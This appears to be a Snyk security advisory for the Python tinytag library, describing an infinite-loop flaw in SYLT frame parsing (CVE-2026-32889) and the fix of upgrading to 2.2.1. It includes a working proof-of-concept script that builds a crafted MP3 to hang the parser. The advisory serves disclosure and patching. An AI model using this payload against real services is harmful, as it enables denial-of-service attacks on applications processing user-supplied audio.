Infinite loop Affecting tinytag package, versions [2.2.0,2.2.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.02% (7th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-TINYTAG-15763573
  • published25 Mar 2026
  • disclosed20 Mar 2026
  • creditkq5y

Introduced: 20 Mar 2026

CVE-2026-32889  (opens in a new tab)
CWE-835  (opens in a new tab)

How to fix?

Upgrade tinytag to version 2.2.1 or higher.

Overview

tinytag is a Read audio file metadata

Affected versions of this package are vulnerable to Infinite loop via a non-terminating SYLT frame parsing loop. An attacker can cause the application to become unresponsive by supplying a specially crafted MP3 file containing a SYLT frame without a string terminator, leading to a non-terminating parsing loop.

PoC

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

CVSS Base Scores

version 4.0
version 3.1